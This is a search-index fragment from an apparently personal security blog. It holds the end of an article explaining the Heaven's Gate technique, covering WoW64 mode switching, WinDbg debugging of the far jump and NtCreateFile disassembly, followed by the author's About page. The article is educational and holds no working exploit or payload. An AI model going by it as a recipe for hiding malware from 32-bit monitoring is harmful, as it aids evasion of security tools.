to the address of the far jump which is the one responsible to change the code segment and make the transition between 32 and 64 bit mode.\nSince x32dbg can\u0026rsquo;t handle transition between different architectures we are going to change our debugger to WinDbg. If you wanna follow, open WinDbg, open our example binary and enter the commands that have a little red text right after it.\nNow keep entering t(Step Into) until we reach our far jump to 64-bit.\nIt is a code segment with Read/Execute attributes, usermode privilege (ring 3), and the Long bit is set (that is, the segment is for 64bit mode). So now we know how to switch from 32bit to 64bit, but what about the opposite? Since we are executing a 32bit process, it must be possible to switch back to 32bit from 64bit. If we keep debugging, we will pass through the following APIs:\nwow64cpu!CpupReturnFromSimulatedCode wow64cpu!TurboDispatchJumpAddressStart wow64!Wow64SystemServiceEx wow64!whNtCreateFile\nand finally land on:\nntdll!NtCreateFile 0033:0000000077121860 4c8bd1 mov r10,rcx 0033:0000000077121863 b852000000 mov eax,52h 0033:0000000077121868 0f05 syscall 0033:000000007712186a c3 ret\nThe system call itself happens in 64bit mode: in fact, it is not allowed to use a syscall instruction from 32bit mode, or else an exception will be raised. This is an interesting detail, because it tells us that all the APIs that require a transition to kernelmode must switch to 64bit. (Hint: if you can control the switch to 64bit you can implement a cheap API logger ;)) We finish debugging this API and we get to what we were looking for:\n32bit -\u0026gt; example32!CreateFile -\u0026gt; kernel32.dll!CreateFileA -\u0026gt; SysWow64kernelbase.dll!CreateFileA -\u0026gt; kernelbase.dll!CreateFileW -\u0026gt; SysWow64Ntdll.dll!NtCreateFile -\u0026gt; SysWow64Ntdll.dll!Wow64SystemServiceCall -\u0026gt; jmp to WoW64Transition -\u0026gt; jmp far 33:Address\nSources: https://cryptohub.nl/zines/vxheavens/lib/-show_abstract=vrg02.html https://cryptohub.nl/zines/vxheavens/lib/apf62.html https://blog.talosintelligence.com/rats-and-stealers-rush-through-heavens/ https://github.com/darkspik3/Valhalla-ezines/blob/master/Valhalla%20%231/articles/HEAVEN.TXT https://wbenny.github.io/2018/11/04/wow64-internals.html\n","permalink":"https://blog.akmee.xyz/articles/heavens-gate/","summary":"Breaking down the Heaven\u0026rsquo;s Gate technique: WoW64 internals, how Windows handles 32-bit processes on 64-bit systems, and what actually happens at that far jump switching code segments — with live debugging in x32dbg and WinDbg.","title":"What's Heaven's Gate and how it's used on malwares"},{"content":"About me Who am I? Hi, I\u0026rsquo;m David, but people also call me tomato (yeah). I\u0026rsquo;m an developer and security researcher. I got into IT 5 years ago, since then, I\u0026rsquo;ve been studying a variety of topics, you will find articles, notes and tutorials about what I\u0026rsquo;m currently studying here. I also like to automate things, so you\u0026rsquo;ll also see see posts about home-lab stuff :).\nI started studying web development from scratch when a friend of mine asked me to complete some classes for him; he didn\u0026rsquo;t have the time to watch them but wanted the badge they give if you complete them all. I agreed, it was a good chance to learn new things. The classes were old but they covered a bunch of topics, including: Python tutorials, Java Development, Web Development, SQL databases and stuff like that. I knew nothing about computers at all, all I did was play games and mess with minecrafts mods all day so it took a bit of time but I finished all the classes. I was still a newbie but, at least, now I had a bit more understanding of what computers, programming languages and the web were about, it was good enough to make me realize what topics I was interest in and how I could learn them.\nAfter a year and a half exploring new languages, topics and stacks, my mind was mesmerized not by a new topic but a new field entirely, Cyber Security. I was deeply interested in it. Since then, I\u0026rsquo;ve learned a lot of things: Web Penetration Testing, Network Security, Reverse Engineering and binary exploitation, Malware Analysis and even found bugs in Bug Bounty platforms, though they weren\u0026rsquo;t in-scope :(. Nowadays I\u0026rsquo;m more focused on Network Pentest, breaking and exploiting AD and Linux servers. I should also note that I never abandoned programming, from time-to-time I tend to start projects that seem fun, for example: A toy blockchain, miner, node and wallet, a Linux debugger, a program to track productivity based on your activity which I like to call my mini spyware and other small projects :). I also tend to spend a lot of time customizing my setup, I\u0026rsquo;ve used different distros over the time and ended up with NixOS, a really wonderful distro, you should check it out! Besides that, I like to tweak my home-lab from time to time, it\u0026rsquo;s an old notebook that I use to host a bunch of services, including this website!\nWhat You\u0026rsquo;ll Find Here HackTheBox Writeups - Walkthroughs of retired and active machines (locked), covering every step with a detailed explanation and process of thought, because knowing how to exploit something matters less than developing the mindset to recognize what\u0026rsquo;s vulnerable in the first place. Homelab and OS stuff - Homelabs setups that even a complete newbie can follow and posts about my setup/environment. Security Research - Articles about attacks, exploits or CVEs I found interesting and decided to write about and experiment about. Contact If you have an offer, opportunity, cool idea you wanna share with me or whatever would make my life more interesting, you can text me in one of the social below, pick what suits you better :))\nemail instagram twitter ","permalink":"https://blog.akmee.xyz/about/","summary":"About me","title":"About"}]